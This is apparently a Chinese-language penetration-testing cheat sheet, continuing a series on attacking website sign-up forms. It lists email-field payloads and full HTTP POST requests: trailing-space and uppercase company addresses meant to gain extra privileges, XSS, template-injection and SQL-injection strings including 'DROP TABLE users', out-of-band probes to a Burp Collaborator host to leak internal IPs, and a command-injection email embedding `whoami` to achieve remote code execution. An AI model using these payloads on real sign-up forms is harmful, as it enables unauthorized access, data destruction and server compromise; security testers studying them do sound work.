本文承接前文,继续梳理注册功能的测试流程
第八种情况
注册的时候尝试利用带有空格的公司邮箱地址来注册,比方说: "[email protected] "(注意:com后面有一个空格)
可能会发现一些意向不到的情况(可能会发现有额外的权限)
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
firstname=I&lastname=am&[email protected] &password=*****&captcha=Random&token=CSRF
第九种情况
注册公司邮件的时候尝试用大写的邮件,例如[email protected],可能获取额外的权限或获得更多的功能
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
firstname=I&lastname=am&[email protected] &password=*****&captcha=Random&token=CSRF
第十种情况
邮件写成以下形式,你可能会有意想不到的发现:
[email protected]@company.com
me+(@gmail.com)@company.com
"[email protected]"@company.com
"<[email protected]>"@company.com
"[email protected];"@company.com
"[email protected]+"@company.com
第十一种情况
和上面tips类似,将gmail用googlemail.com 来替代
[email protected]@company.com
me+(@googlemail.com)@company.com
"[email protected]"@company.com
"<[email protected]>"@company.com
"[email protected];"@company.com
"[email protected]+"@company.com
第十二种情况
尝试使用以下payload,看是否能造成xss,ssti或者sqli
me+(<script>alert(0)</script>)@gmail.com
me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${{7*7}})@gmail.com
"' OR 1=1 -- '"@gmail.com
"me); DROP TABLE users;--"@gmail.com
%@gmail.com
第十三种情况
尝试用以下payload获取后台信息或者内部IPs
[email protected]
me@[id.collaborator.net]
user(;[email protected])@gmail.com
[email protected](@gmail.com)
me+(@gmail.com)@id.collaborator.net
<[email protected]>[email protected]
第十四种情况
有时候系统在发送之前会ping你的主机,可以尝试利用带有注入系统命令的Burp Collaborator的邮件地址来实现rce
如下所示
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
firstname=I&lastname=am&email=me@`whoami`.id.collaborat or.net&password=********&captcha=Random&token=CSRF
